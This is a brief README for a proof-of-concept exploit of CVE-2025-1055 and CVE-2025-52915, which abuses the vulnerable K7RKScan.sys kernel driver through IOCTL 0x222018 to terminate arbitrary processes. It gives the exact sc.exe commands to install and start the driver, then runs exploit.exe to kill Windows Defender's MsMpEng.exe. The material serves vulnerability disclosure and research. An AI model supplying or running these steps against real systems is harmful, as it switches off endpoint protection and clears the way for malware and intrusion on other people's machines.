CVE-2025-1055-poc

PoC for CVE-2025-1055 and CVE-2025-52915 using K7RKScan.sys. This PoC use the 0x222018 IOCTL to terminate arbitrary processes.

Usage

Installing driver:

sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys

Running PoC:

exploit.exe

It will terminate the MsMpEng.exe process (windows defender).

References

https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/